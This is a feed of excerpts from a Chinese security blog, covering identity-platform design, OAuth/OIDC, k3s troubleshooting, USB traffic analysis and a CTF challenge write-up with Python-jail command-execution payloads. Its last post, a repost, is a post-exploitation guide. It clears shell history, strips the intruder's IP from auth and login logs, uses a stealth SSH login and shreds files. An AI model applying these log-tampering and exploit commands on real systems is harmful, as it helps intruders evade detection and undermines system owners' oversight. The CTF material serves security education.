确石如此 - A blog site from CertStone. - CertStone
type: channel
link: https://www.certstone.cc/author/1/
description: CertStone
items: Logto Account Portal : 面向Logto的账户中心与服务门户设计
items: [转载] 说话前先踩一脚刹车+终于等到了这一天
items: OAuth/OIDC 协议解惑：基于底层设计的安全与架构探讨
items: 国内免费企业邮箱总结
items: k3s踩坑之凭证失效
items: 招新赛出题小记(2025.12)
items: 两个小工具——键盘模拟器 和 批量下载PoC
items: 一个 Shell/Linux 国内主机初始化配置脚本
items: USB流量分析入门——键盘流量
items: [转载] 后渗透隐藏登陆痕迹的姿势

Logto Account Portal : 面向Logto的账户中心与服务门户设计
type: item
date: 2026-05-30T14:25:00+00:00
description: 一、 核心诉求与开发动机在构建和维护服务器上运行的诸多服务时，繁杂的自建服务使得集中式身份认证（SSO）成为一项及其吸引人的架构方案。在调研过多家 selfhost 的 IdP 平台后，我个人认为，考虑到 Logto 简洁且现代化的设计，其是最能符合我的需求的身份认证平台。在部署 Logto 并逐一完成各项应用 OIDC 协议接入的过程中，虽然底层的鉴权路由和网络配置已经打通，但依然面临一个终端用户体验的断层：缺少一个兼具现代 UI 审美且高度可控的入口。身份提供商（IdP）通常只提供基础的登录页和极其简陋的用户设置页。对于一个“平台的用户”而言，我们需要的不只是一个“修改密码”的页面，而是一个能够聚合全部自建服务状态（Service Portal），同时具备精细化账户控制（MFA、Passkey、社交账号绑定）的仪表盘（人言：缺一个账户中心）。于是我想基于 Logto 的开放 API，自行构建一个业务高度内聚的前端中心。二、 代码架构与工程化实现分析本项目的代码实现以成熟、规范为原则，避免了非标准或过度复杂的设计，主要依赖目前前端生态中的通用标准方案：1 前端框架与 UI 渲染核心框架：系统基于 Next.js 16 (App Router) 进行构建，利用其服务端组件特性优化页面加载与数据获取逻辑。组件库：UI 层面采用 shadcn/ui 结合 Radix UI 原语。此方案直接提供了可靠的无障碍访问（A11y）标准支持，并配合 Tailwind CSS 实现了高度标准化的样式渲染与全局深色模式（Dark Mode）的无缝切换。2 运行时配置管理（Runtime Configuration）本项目实现了动态运行时配置机制：动态读取：系统引入 js-yaml 模块，支持在容器运行时挂载并解析外部配置文件（如 features.yaml 与 services.yaml）。防御性校验：项目中独立编写了预检脚本 scripts/validate-runtime-config.mjs。在容器进程启动前，利用 zod 库对加载的环境变量与 YAML 数据进行严格的类型与结构校验，确保配置异常能在启动初期被精准拦截。3 API 路由与安全隔离Next.js 在本项目中充当了前端与 Logto IdP 之间的中间层（BFF）：所有涉及身份凭证交换的请求均通过内部 API 路由转发（如 app/api/account/ 目录下的相关路由）。系统在代码结构上严格界定了面向用户的 User Token 与面向后端的 M2M (Machine-to-Machine) Token，有效防止了前端直接操作底层 Management API 可能引发的越权风险。三、差异化与竞品对比在功能定位与架构思路上，本项目有别于目前开源社区中现存的其他方案：1 对比原生 IdP 面板（如 Keycloak / Authentik）传统的重型 IdP（如 Keycloak）的账户面板通常与后端的模板引擎（如 FreeMarker）深度耦合，若需进行 UI 定制或增加服务导航模块，开发与维护成本极高。Logto 的设计虽然更为现代化，但功能性上其实也有所欠缺，没有提供自带的账户管理面板。尽管 Github 上有两三个适配 Logto 的账户面板，但是我所找到的要么是已经年久失修的老项目，要么是 UI 和 功能都非常简陋的，没用什么前端组件纯靠AI搓出来的自用项目，而本项目暨在积极维护，又看起来比较美观。2 对比服务导航项目（如 Homepage / Heimdall）能力边界上，纯粹的导航面板侧重于书签管理与服务状态展示，缺乏对用户身份信息的控制能力。而 Logto Account Portal 在提供服务归类、连通性探测功能 的同时，其核心功能完整涵盖了个人身份资料更新、多因素认证（MFA）、通行密钥（Passkey）设置以及第三方社交账号的生命周期管理。它既是一个统一的导航门户，也是一个具备深度控制权的安全设置中心。

[转载] 说话前先踩一脚刹车+终于等到了这一天
type: item
date: 2026-03-24T04:01:19+00:00
description: 第一章 · 说话前先踩一脚刹车昨天读者越过山丘 Kevin在留言中分享了一段伤心往事：「我小学时候养了一只水鸟两年，每天喂它小鱼，从羽翼未丰到盘旋会飞，有一天放学回家，我妈告诉我被对门邻居拿走杀了煲汤给他老婆催奶了，他是我班主任，我不敢说什么，但我现在偶尔回老家见到他，依然对他带着恨意。」其他读者看后纷纷安慰，其中有一位白小萌说：「抱抱🤗其实你的鸟还是你的鸟，你永远会记得他，这世上不大会有这么幸运的鸟了。」从这条留言开始，事情就开始起了变化。针对这条软萌的宽慰之语，很多读者发表了反对意见。比如说有极为简单直接的一条：「幸运啥？正好好的活着被人一刀宰了？」再比如说有展开阐述的一条：「不，存在本身比意义珍贵，哪怕主人再怎么刻骨铭心的思念或者痛苦，也不如存在本身珍贵。这鸟明明不幸，这不幸也不是小小的主人带来的，用幸运来安慰他，是对小鸟的欺负。」这些留言我一条都没有放出来，原因是我觉得这些读者性子太急，说话太快，很容易造成没有必要的争吵。网上争吵本来也没什么，但是太急太快的话，也许发出异议只是因为自己没有足够时间去理解对方的原意。的确，白小萌的那条留言看起来很像是网络上的那些心灵鸡汤，毫无力量可言。在留言中，就有读者很粗暴地说：「我认为，下次给他套麻袋，或许能让你舒服点。」我知道，这样看起来很爽，可以让情绪有个去处。但有什么意义呢？时过境迁，很难想象在一个月黑风高的夜晚，一个三十多岁的人用麻袋套住一个六七十岁的老头，用棒球棍暴打一顿之后，强行掰开嘴灌入 10升牛奶，最后，附在老头耳边轻声说：「这是来自鸟儿的问候。」那是电影，不是生活。读者白小萌的说法看起来很柔弱，听起来很鸡汤，但是如果你能仔细品一下，就会有不一样的感觉。首先，她讲这些话是针对一个具体的人，目的是宽慰这个人的心情。我觉得这本身就很难得，如今在网络上分享一点个人遭遇，更多时候作者是为了激发读者的情绪，让他们代入自己，然后进入某种应激状态，于是就有了热闹和流量。在这种热闹之中，当事人早就被扔到九霄云外，参与讨论的人忙于发泄情绪，忙于表演自己的正义或者别的品质。所以我说白小萌没有失去焦点，始终关注当事人本身，关注当事人的感受，这一点很难得。然后，我还认为她所说的「幸运」是一种难得的个人见地，和另外一位读者所持的「存在比意义珍贵」观点恰巧对立。在我看来，一切存在最后都会消亡，世间「一切坚固的东西最终都烟消云散了」，这是生活的常态，甚至可以说是世界的真实。同样是那只鸟儿，也许会在某个春日响应本能的冲动，一去不返；也许会在某个雨后的黄昏走到生命的尽头，寿终而亡。鸟儿的消失是个必然结局，相对而言，被人捕杀算是非常糟糕的其中一种。而无论是哪一种，都会给人带来创痛，这也是必然会出现的个人处境。在大结局早已注定的情况下，人不能改变历史，唯一能改变的只有自己的心，也就是如何面对这种失去，以及这种失去带来的痛苦。白小萌给出的建议是看到整件事里美好的那一部分，有价值的那一部分。对于水鸟而言，绝大部分都不会得到人类的照顾，何况是长达两年时间，从幼鸟一直照顾到可以展翅飞翔的成鸟。和那些在残酷的野外生活的同类相比，得到照顾，得到关爱，得到成长，这不是一种幸运又是什么呢？对于人而言，这同样是一种幸运。不单纯是在童年就驯化了一只野鸟，更重要的是当事人在当时拥有那样的一颗善良温柔的心，愿意为了一只鸟做出如此之多的付出。这样的心，和这样的付出，在成年之后大概很难重现了吧？所以，我说这同样是一种幸运。即便不说这些，一个人一生中又有多少值得记住一辈子的人和事呢？曾经有过那样的一只鸟，可以时常回想，这不是幸运又是什么呢？如今既然往事不可追，人如何才能不再意难平？白小萌给出的建议是多想想这件事情里幸运的那一面，也就是美好的那一面。当自己生命中有什么失去之后，这些美好的回忆才能持久地给人带来宽慰，可以淡化失去带来的伤痛。把心从失去上移开，放在曾经的美好上，本身也是很多人治愈自己的方式。最后，我认为和喊打喊杀，叫嚷绝不放过的那些读者相比，白小萌是位有智慧的人。越过山丘 Kevin 为什么在多年后旧事重提？那些太快太急发言的读者，完全错失了重点：因为他对自己的鸟儿有愧疚，他的内心有残缺。当他如此倾诉的时候，会让他感觉好一点点。然而，在更为深入的心理层面上，他需要对童年的自己有个交代---当他付出如此心血养大的水鸟，被一个他无法反击和报复的人以极为荒谬的理由击杀，这是对童年的他最大的否定。这个否定需要一个交代，需要一个答案，他的内心才会终于平复。在他心中的那个小孩子，多年来一直在等待有人说出那句话---直到白小萌出现，她说出了那句久候不至的话：孩子，你没有任何错处，你做了一件极为有意义的事情，你让一只本来可能夭折的小水鸟活了下来，让它体会了展翅高飞的感觉，虽然不幸发生，它的一生短促，但是因为你的缘故，它是一只幸运的水鸟。有了…

OAuth/OIDC 协议解惑：基于底层设计的安全与架构探讨
type: item
date: 2026-03-02T15:13:00+00:00
description: 引言这篇文章基于我在建设自己的身份认证系统（基于Logto）的过程经验，以及在对 OAuth、OIDC 等协议的学习过程中提出的疑问，结合了AI的回答，最后将这些零散的问答整理成了一篇系统的文章。由于个人文笔有限，文章由AI润色。在现代软件架构中，身份认证与访问管理（IAM）是基础设施的核心环节。当开发者在部署自托管服务（如我部署的 Memos 接入 Logto）或构建企业级微服务时，通常需要与各类身份提供商（IdP）进行对接。然而，面对控制台中繁杂的 Client ID、Client Secret、回调地址（Redirect URI）以及不同类型的 Token，许多开发者往往只能依赖官方的或第三方文档进行机械的配置，而未深究其背后的设计逻辑。脱离底层逻辑的集成不仅容易在系统迭代中引发架构耦合，更可能引入严重的安全漏洞。本文旨在跳出单纯的配置指南，将日常开发中常遇到的二十余个深层架构疑问串联起来，从协议的底层设计逻辑、安全防范机制以及工程架构演进三个维度，对 OAuth 2.0 与 OpenID Connect (OIDC) 协议进行深度剖析。一、 认证与授权协议体系概述在深入具体流程之前，必须厘清“认证”与“授权”的边界，以及现代协议相较于传统协议的演进脉络。1.1 核心协议的演进与定位业界长期存在一个普遍的误区：将 OAuth 2.0 作为身份认证协议使用。这种混淆导致了早期大量应用的安全漏洞。OAuth 2.0：侧重于资源的委派授权 (授权：Authorization) OAuth 2.0 的核心设计初衷是解决“委派访问”问题，即允许第三方应用在不获取用户密码的前提下，访问用户存储在其他服务上的受保护资源。它的最终产物是 Access Token（访问令牌）。Access Token 仅代表“拥有访问某资源的权限”，并不包含用户的身份信息（Who you are），也不证明用户当前是否在线。OIDC (OpenID Connect)：建立在 OAuth 2.0 之上的身份认证协议 (认证：Authentication) 为了弥补 OAuth 2.0 在身份认证上的缺失，OIDC 应运而生。它完全兼容 OAuth 2.0 的底层授权流程，但在其之上引入了 ID Token（身份令牌） 和 UserInfo 端点。ID Token 是一个格式标准化的 JWT (JSON Web Token)，其中明确包含了用户的唯一标识（sub）、签发方、过期时间等断言（Claims），从而将单纯的授权协议升级为完善的身份认证体系。1.2 传统协议的局限性探讨：以 CAS 为例在 OIDC 成为现代 Web 标准之前，高校内网与传统政企主要依赖 CAS (Central Authentication Service) 协议。探讨 CAS 的机制，有助于我们理解现代架构为何全面转向 OIDC。CAS 为什么设计得如此简单？ CAS 诞生于 2001 年，其目标场景极其纯粹：解决同一信任域（如校园网）内传统 Web 网站的单点登录。它的核心是全局 Cookie (TGC) 和一次性票据 (Service Ticket, ST)。它没有复杂的密码学负担，业务系统拿到一串随机的 ST 票据后，只需向 CAS 服务器发起后端 HTTP 请求询问真伪即可，这比 OIDC 中繁琐的公私钥校验要简单得多。CAS 的致命缺陷与被淘汰的原因状态瓶颈 (Stateful)：每次业务系统收到票据，都必须向 CAS 发起后端请求验证。在微服务高并发场景下，CAS 服务器极易成为性能单点瓶颈。而 OIDC 的 JWT 机制允许资源服务器离线无状态验签。平台局限：CAS 极度依赖 HTTP 302 重定向和跨域 Cookie，在纯净的移动端 App 或现代防跨站追踪（ITP）的浏览器中，全局 Cookie 极易失效。缺乏 API 授权能力：CAS 仅解决“你是谁”，无法像 OAuth 2.0 那样颁发带有严格权限范围 (Scope) 的 API 访问令牌。二、 客户端分类与授权流程选型OAuth 2.0 规范并未采用“一刀切”的解决方案。面对千奇百怪的物理运行环境，协议设计者必须向现实妥协，衍生出了多种授权流程。2.1 客户端类型的本质定义区分客户端类型的唯一核心标准是：该客户端是否具备安全存储凭据（特别是 Client Secret）的能力。机密客户端 (Confidential Client) 具备安全的后端服务器环境（如 Go、Java 编写的服务端应用）。此类客户端可以将 Client Secret 安全地存储在环境变量中，对外部绝对不可见。公开客户端 (Public Client) 代码完全暴露于用户端的应用（如 SPA 单页应用、原生 iOS/Android…

国内免费企业邮箱总结
type: item
date: 2026-02-24T16:06:00+00:00
description: 国内免费企业邮箱（域名邮箱）总结，以下按个人的主观推荐排序，只有付费版企业邮箱的不列出。仅关注邮件功能，协同办公和企业管理功能虽然对企业来说是好的功能，但是对我而言用不上，结合的太深反而是缺点。一、阿里企业邮箱免费版链接: https://help.aliyun.com/zh/document_detail/446177.html绑定域名：一个+6个域别名账号权益：用户数单个用户邮箱空间文件存储空间发信限制邮件迁移登陆方式505GB个人2G,企业2G,文件中转站10G2000封/天/企业，单邮件附件<60M支持Webmail/APP/IMAP/POP3收发信体验：良，偶尔邮件会有延迟，以及少数垃圾邮件误判。其他特色：可以绑定钉钉安全性方面，可以设置安全登陆ip、强制密码轮换、分级管理员、MFA等总结：没有明显的短板，综合表现很不错，我最喜欢的一款。二、飞书邮箱链接: https://www.feishu.cn/product/email绑定域名：似乎没有限制账号权益：用户数单个用户邮箱空间文件存储空间发信限制邮件迁移登陆方式50似乎没有限制企业总空间15G或100G(企业认证后)似乎没有限制支持Webmail/APP/IMAP/POP3收发信体验：优，可能是用的少有关，目前体验不错其他特色（可能含缺点，下同）：添加新用户必须要手机号开启第三方应用登陆只能在桌面客户端，网页端是打不开IMAP/POP3功能的总结：是办公软件的附属产品，优点是基本没有限制（也可能是单纯的信息不透明），缺点是和办公软件生态强绑定，不适合想开多用户和不想下载飞书的人使用，但如果是个人使用的话非常推荐。三、网易企业邮箱免费版链接: https://ym.163.com/ 注意不要从qiye.163.com进入，那个是收费版的绑定域名：两个账号权益：用户数单个用户邮箱空间文件存储空间发信限制邮件迁移登陆方式50前180天是6G，后面可能会降到1G(或2G，记不太清了，总之我不够用)个人1G,企业2G100封/天/账号，单邮件附件<100M×不支持Webmail/APP/IMAP/POP3收发信体验：优，毕竟是网易的老本行。其他特色：送一个.freeqiye.com的二级域名，用来体验邮箱总结：只能说能用，管理后台被砍成大残，基本上啥功能都得充钱，发信限制和空间限制还都很大。四、腾讯企业邮箱免费版链接: https://work.weixin.qq.com/mail/绑定域名：一个账号权益：用户数单个用户邮箱空间文件存储空间发信限制邮件迁移登陆方式似乎没限制1GB2G500封/天支持Webmail/APP/IMAP/POP3收发信体验：优。其他特色：必须绑定企业微信号域名现在似乎是首年免费注册（？）我以前注册的号是有一个.wecom.work的三级域名总结：这位更是大残，还跟企业微信强绑定，完全不适合个人使用仅适合企业。Update 阿里云邮箱重要变更 据阿里云通知，2026年3月15日0时起，新开通阿里企业邮箱免费版不再提供面向客户端的POP/IMAP/SMTP协议。这么一改我直接不建议任何新用户使用。

k3s踩坑之凭证失效
type: item
date: 2026-01-03T10:18:32+00:00
description: 最近在使用 Docker + K3s 搭建 GZCTF 平台时，遇到了一个后端服务无限重启的问题。经过一番排查，发现是 K8s 配置文件（kubeconfig）凭证失效导致的。特此记录一下排查过程和原理解析。1. 问题现象环境配置如下：GZCTF: 使用 Docker Compose 部署Kubernetes: 使用 K3s 作为集群后端架构: GZCTF 容器通过挂载宿主机的 kube-config.yaml 文件来连接 K3s 集群服务正常运行了相当一段时间后,忽然有一天， GZCTF 的后台页面、比赛页面进不去了，一直卡在加载。于是我把服务重启了一下，注意到 GZCTF 容器不断重启，查看日志发现后端一直报错，提示无法连接到 K8s API Server，状态码为 401 Unauthorized。容器日志 (docker compose logs)：gzctf-1 | [ERR] KubernetesProvider: K8s 初始化失败，请检查相关配置是否正确 (https://x.x.x.x:6443) gzctf-1 | k8s.Autorest.HttpOperationException: Operation returned an invalid status code 'Unauthorized', response body gzctf-1 | {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401} 2. 排查过程最初怀疑是网络问题或配置路径错误，但 Unauthorized 明确指向了身份验证失败。为了验证是否是配置文件的问题，我在宿主机上直接使用该配置文件尝试连接集群：root@hostname:/path/to/GZCTF# kubectl --kubeconfig ./kube-config.yaml get nodes E1221 21:38:50.168514 18214 memcache.go:265] "Unhandled Error" err="couldn't get current server API group list: the server has asked for the client to provide credentials" E1221 21:38:50.176447 18214 memcache.go:265] "Unhandled Error" err="couldn't get current server API group list: the server has asked for the client to provide credentials" E1221 21:38:50.184038 18214 memcache.go:265] "Unhandled Error" err="couldn't get current server API group list: the server has asked for the client to provide credentials" E1221 21:38:50.196097 18214 memcache.go:265] "Unhandled Error" err="couldn't get current server API group list: the server has asked for the client to provide credentials" E1221 21:38:50.205985 18214 memcache.go:265] "Unhandled Error" err="couldn't get current server API group list: the server has asked for the client to provide credentials" error: You must be logged in to the server (the server has asked for the client to provide credentials) 对比测试：随后我使用 K3s 系统默认的配置文件进行测试：# 使用 K3s 系统源文件测试 kubectl --kubeconfig /etc/rancher/k3s/k3s.yaml get nodes 结果成功：输出了节点列表，状态为 Ready。结论： 宿主机系统里的 K3s 是一切…

招新赛出题小记(2025.12)
type: item
date: 2025-12-10T07:09:00+00:00
description: Misc鼠鼠（Original）不要伤害鼠鼠🥺 > 该题目取材自真实事件（笑# 附件 from secret import flag from Crypto.Util.number import * import random lower_bound = 2**135 upper_bound = 2**136 num = bytes_to_long(flag) n = random.randint(lower_bound, upper_bound) for i in range(135): receive = eval(input('>>> ')) #以列表形式输入，如[123456789,987654321,...] if num in receive: print('1') else: print('0') #给我分组，我会返回你小鼠是否还活着，活着用1，死了用0🤗为什么说这道题取材自真实事件呢，大概是这样的：（曾经的）密码大手子linsheng，在给招新赛出题时，想出一道容器题，除了密码知识以外顺便考察一下大家对pwntools等库的使用，于是他将初版代码发给了我们——如图所示，由于使用了eval()对用户的输入进行处理，导致出现沙箱逃逸漏洞（Python Jail, aka pyjail）。用户输入的数据被python的解释器直接执行了！（可千万不要把eval想成仅仅是去掉引号的函数）最终，上述的题目在经过修补后在24年下半年的实验室招新赛上线。一年过后，偶然回想起这次有趣的交流，感觉可以再把鼠鼠出到招新赛里，不过这次是misc（什么叫做传承！！！）不过吧，如果只是一句print就出flag的话🤔是不是太简单了，好像并没有考察到什么东西，而且ai一下就秒了。于是，我把原本的密码题里的flag替换成的 fake flag，并将真flag写到了根目录，算是加了点难度。不过，只要是了解过沙箱逃逸或者对Python语法比较懂的，感觉这也就是道入门题，一点过滤都没有，于是我给定了个Easy难度（好了下面是正式的题解了使用 __import__('os').system('ls /') 即可列出根目录文件__import__('os').system('cat /340b72101d7_flag') 读取flag想了解更多pyjail相关知识：https://www.cnblogs.com/N1ng/p/18491520Webezpython非常简单的RCE！！但是，系统似乎出了些问题，你还能拿到flag吗?（没想到跟一道re题目重名了喵喵喵）这道题出的也是有些曲折的。题目最初的设想是：考察选手遇到命令执行但是不出网无回显且没有静态资源目录情况下的解决办法预期解：sleep盲注出flag或注入内存马🤔但是在出题过程中发现了问题——GZCTF平台不支持对单个题目设置是否出网。🤔我又不想出公共容器，那样不同选手之间容易相互干扰。🤔于是我想到了一种取巧的办法——删掉容器中可以联网的工具cat /dev/null > /etc/resolv.conf cat /dev/null > /etc/hosts rm -f /bin/curl rm -f /bin/wget rm -f /bin/ping rm -f /usr/bin/nc就在我以为大功告成的时候，忽然意识到shell也可以连网啊，反弹shell这不是秒了吗！🥲于是又加了几句：rm -f /bin/bash rm -f /bin/sh rm -f /bin/dash🤔说实话这时候已经有点抽象了，这玩意儿不会让程序出bug跑不起来吧。🤓👆欸您猜怎么着，程序照常运行，不过就是os.system之类的会启动新进程的方法不能用了罢了正合我意，正合我意讷👏👏👏(下面是正式的题解了)题目访问直接给出源码from flask import Flask, request, Response import os app = Flask(__name__) @app.route('/', methods=['GET']) def index(): try: with open(__file__, 'r') as f: source_code = f.read() return Response(source_code, mimetype='text/plain') except Exception as e: return "Error reading source code" @app.route('/execute', methods=['POST']) def execute(): cmd = request.form.get('cmd') if not cmd: return "Please…

两个小工具——键盘模拟器 和 批量下载PoC
type: item
date: 2025-09-28T11:37:05+00:00
description: 最近学习工作之余，拿AI做了两个还算有点意思的小工具，想着分享出来，没准也能解决一些朋友的痛点。一个是为了解决在虚拟机里“复制粘贴”难题的 Keyboard Simulator，另一个是能帮你自动下载和整理最新漏洞 PoC 的同步脚本。1. 还在为虚拟机不能复制粘贴而抓狂？试试这个！事情的起因是参加的某次比赛，主办方为了管理方便和防止泄密，只允许我们在他们的虚拟机里操作，但是这个虚拟机本身也很简陋，禁用了剪贴板，想粘贴一段代码或者命令，只能苦哈哈地一个个字手敲。效率极低，还容易出错。为了治好这个“低血压”，我写了 Keyboard Simulator。简单粗暴的讲，它的原理就是：模拟真人敲键盘。你给它一段文字，它就能像个不知疲倦的实习生一样，一个字符一个字符地帮你敲进目标窗口。考虑到不同人的使用习惯，我把它做成了三个版本：懒人最爱的 GUI 版：有图形界面，操作起来最直观。把文本输进去，或者直接把文件拖进去，然后切到虚拟机窗口，按下 F9 就开始自动输入了。中途想暂停就按 F11，想停下就按 F10。高手专用的命令行版 (CLI)：如果你是自动化达人，这个版本最适合你。一条命令就能搞定所有事，可以无缝集成到你的自动化流程里。兼容性拉满的 PRO 版：有时候在一些从比较底层接手键盘输入的环境里，普通的模拟输入会失效。PRO 版就是为此而生，它用的是更底层的驱动级模拟技术，兼容性最强。不过用之前需要装个驱动，稍微折腾一下。所以，下次再遇到不能粘贴的窘境，不妨试试它。2. 打造你自己的“漏洞军火库”之前搜集PoC的时候发现了这个仓库： PoC-in-GitHub 它会自动从Github爬取PoC相关的仓库，从CVE编号1999年一直到最新的都有，非常之全面。此外，还可以帮助我及时发现一些最新PoC的公开情况。但是它只存储了各个仓库的链接和介绍，并没有实际的PoC；考虑到线下赛断网，那么有一个需求就很显然了———全部爬下来整一个漏洞库。于是，我写了这个 PoC-in-GitHub 同步工具。跑一下脚本，它会：自动拉取最新的 PoC 列表。用多线程把所有相关的 GitHub 仓库克隆下来。按照 年份/CVE-ID/仓库名 的结构给你整理得明明白白。贴心地为每个 CVE 生成一个 README.md，里面有漏洞描述和所有相关 PoC 仓库的简介，让你一目了然。最爽的是，我还给它加上了镜像加速功能。如果你在国内访问 GitHub 速度感人，这个脚本会自动切换镜像源，失败了还会重试，确保下载过程又快又稳。跑完脚本，你就有了一个属于自己的、结构清晰、随时可以全文检索的本地 PoC 知识库。友情提示：这些 PoC 代码的安全性是未知的，千万别在自己的主力机或者生产环境里直接运行。一定要在虚拟机里玩！以上就是我最近折腾的两个小成果。它们都开源了，如果你感兴趣，欢迎去 GitHub 上看看，也欢迎随时提意见或者PR！

一个 Shell/Linux 国内主机初始化配置脚本
type: item
date: 2025-06-10T07:50:00+00:00
description: 仓库地址：简介本项目提供一个功能完善、体验流畅的自动化交互式 Shell/Linux 环境配置脚本 (sh_init.sh)，特别关注中国大陆用户的网络环境，旨在简化和加速 Linux (尤其是 Ubuntu/Debian) 环境的初始化配置过程。请注意：此脚本主要为作者个人使用和学习目的创建，不保证进行持续的公开维护和更新，请您了解并自行评估风险。主要功能APT 镜像源更换: 自动检测系统版本，并允许用户选择国内主流的 APT 镜像源 (如清华、阿里、中科大等)，加速软件包下载。支持传统格式和 DEB822 格式的 sources.list。开发语言镜像配置:Python: 配置 pip 使用阿里云镜像。Go: 配置 GOPROXY 为 goproxy.cn 和 GOSUMDB 为 sum.golang.google.cn。Node.js: 配置 npm 使用淘宝 npmmirror 镜像。Zsh 和 Oh-My-Zsh 安装与配置:自动安装 Zsh、Git、Curl、Wget (如果缺失)。提供从 GitHub 官方或 Gitee 镜像安装 Oh-My-Zsh 的选项。提示用户如何将 Zsh 设置为默认 Shell。Zsh 主题选择与配置:内置多种流行主题供用户选择 (如 haoomz, powerlevel10k, ys, robbyrussell, agnoster)。自动下载和配置所选主题，对于 powerlevel10k 会从用户选择的 Git 镜像源克隆。Zsh 插件安装与配置:预设核心插件列表 (git, z, extract, zsh-autosuggestions, zsh-syntax-highlighting)。可选启用一组增强型插件 (colored-man-pages, colorize, cp, sudo, command-not-found, history, history-substring-search, python)。自动从用户选择的 Git 镜像源克隆外部插件。代理辅助函数: 可选在 .zshrc 中添加 proxy 和 unproxy 函数，方便快速启停终端代理 (默认 SOCKS5 127.0.0.1:1089, HTTP/HTTPS 127.0.0.1:1080)。Docker CE 安装与镜像加速:可选使用国内 Docker CE APT 镜像源或官方源安装 Docker CE。可选配置 Docker Hub 镜像加速器，支持默认或自定义地址，并能通过 jq 合并到现有 daemon.json 配置。用户交互: 通过清晰的提示和 Y/N 选择引导用户完成配置。日志系统: 不同级别的彩色日志输出 (信息、警告、错误)。依赖检查与安装: 自动检查并提示安装必要的依赖包 (如 lsb-release, jq 等)。Sudo 权限管理: 脚本开始时检查并请求 sudo 权限。幂等性设计: 脚本设计考虑了幂等性，多次运行脚本通常不会导致错误或重复配置，而是会跳过已完成的步骤或安全地更新现有配置。前提条件一个基于 Debian/Ubuntu 的 Linux 发行版。脚本仅在这两个系统上进行过测试，其他系统可能部分功能不适用。bash shell。当前账户具有 sudo 权限。网络连接，用于下载软件包和配置文件。curl 或 wget 用于一键执行或下载脚本。使用方法一键执行 (推荐)您可以使用以下任一命令直接下载并执行脚本：使用 curl (GitHub):bash <(curl -fsSL https://raw.githubusercontent.com/GitHubsAdministrator/sh_init/main/sh_init.sh)使用 wget (GitHub):bash <(wget -qO- https://raw.githubusercontent.com/GitHubsAdministrator/sh_init/main/sh_init.sh)使用 curl (Gitee 镜像 - 中国大陆用户推荐):bash <(curl -fsSL https://gitee.com/wo99/sh_init/raw/main/sh_init.sh)使用 wget (Gitee 镜像 - 中国大陆用户推荐):bash <(wget -qO- https://gitee.com/wo99/sh_init/raw/main/sh_init.sh)分步执行下载脚本:通过 Git 克隆:git clone https://github.com/GitHubsAdministrator/sh_init.git cd sh_init或者直接下载脚本文件 (假设脚本位于 main 分支)…

USB流量分析入门——键盘流量
type: item
date: 2025-05-26T13:42:45+00:00
description: 文章配套例题点我下载 USB流量分析主要包括键盘和鼠标流量。指的是获得键盘敲击键、鼠标移动和点击等等。键盘流量中数据包的数据长度一般为 8 个字节，鼠标流量中数据包的数据长度一般为 4个字节。然后再查看HID Data(或Leftover Capture Data)的数据，就是传输的USB信息。观察发现，只有source == 1.5.1的流量具有HID字段，使用tshark提取之：tshark -r usb.pcapng -T fields -e usbhid.data -Y 'usb.src == "1.5.1"' > usbdata.txt在Info看到有URB_INTERRUPT in，表示USB传输数据的中断，继而就找到HID Data提取出的数据如：0000090000000000 0000000000000000 00000f0000000000 0000000000000000 0000040000000000 0000000000000000 0200000000000000 0000000000000000 ...其各个字节的数据含义基本固定，所以可以直接套脚本：# 无修饰键 normalKeys = { # ---- 字母、数字、符号区（已存在的部分保留） ---- "04":"a","05":"b","06":"c","07":"d","08":"e","09":"f","0a":"g","0b":"h", "0c":"i","0d":"j","0e":"k","0f":"l","10":"m","11":"n","12":"o","13":"p", "14":"q","15":"r","16":"s","17":"t","18":"u","19":"v","1a":"w","1b":"x", "1c":"y","1d":"z","1e":"1","1f":"2","20":"3","21":"4","22":"5","23":"6", "24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":" ", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\", "32":"<NON>","33":";","34":"'","35":"`","36":",","37":".","38":"/", "39":"<CAP>","3a":"<F1>","3b":"<F2>","3c":"<F3>","3d":"<F4>","3e":"<F5>", "3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>", "45":"<F12>", # ---- 扩展功能 / 编辑 / 光标 ---- "46":"<PRTSC>","47":"<SCRL>","48":"<PAUSE>","49":" ","4a":"<HOME>", "4b":"<PGUP>","4c":"<DEL_FW>","4d":"<END>","4e":"<PGDN>","4f":"<RIGHT>", "50":"<LEFT>","51":"<DOWN>","52":"<UP>", # ---- 数字小键盘（Num Lock ON 时）---- "53":"<NUM>","54":"/","55":"*","56":"-","57":"+","58":"<KP_RET>", "59":"1","5a":"2","5b":"3","5c":"4","5d":"5","5e":"6","5f":"7","60":"8", "61":"9","62":"0","63":".","67":"=", # ---- 语言无关 / 系统 & 应用 ---- "64":"<NONUS\\|>","65":"<APP>","66":"<POWER>", "68":"<F13>","69":"<F14>","6a":"<F15>","6b":"<F16>","6c":"<F17>", "6d":"<F18>","6e":"<F19>","6f":"<F20>","70":"<F21>","71":"<F22>", "72":"<F23>","73":"<F24>","74":"<EXEC>","75":"<HELP>","76":"<MENU>", "77":"<SELECT>","78":"<STOP>","79":"<AGAIN>","7a":"<UNDO>", "7b":"<CUT>","7c":"<COPY>","…

[转载] 后渗透隐藏登陆痕迹的姿势
type: item
date: 2025-05-15T10:05:00+00:00
description: 1、清理shell命令历史：unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG # 阻止当前会话记录历史 history -c # 清空内存中的历史记录，并不会删除.bash_history2、SSH登录日志：Debian/Ubuntu: /var/log/auth.logCentOS/RHEL: /var/log/securesed -i '/YOUR IP ADDRESS/d' /var/log/auth.log3、用户登录日志/var/log/btmp：登陆失败命令，通过lastb查看/var/log/lastlog：所有用户上次的登陆记录，通过lastlog查看/var/log/wtmp：所有的登录、注销、系统重启信息，通过last查看/run/utmp：当前登录用户信息，用于who,w查看统一使用以下命令清理：utmpdump /run/utmp | sed /YOUR IP ADDRESS/d | utmpdump -r > /tmp/utmp1 && mv -f /tmp/utmp1 /run/utmp或者使用脚本：logtamper.py (链接在文末)不要直接清空日志，因为这本身就很可疑. CentOS系列可能还需要清理/var/log/messages，web访问过的还需要清理apache和nginx日志4、隐身登录ssh -T root@192.168.0.1 /bin/bash -i还可以加入-o UserKnownHostsFile=/dev/null不记录ssh公钥到known_hosts中5、覆写文件/目录shred -f -n 3 -z -u -v 文件 find /目录/ -type f 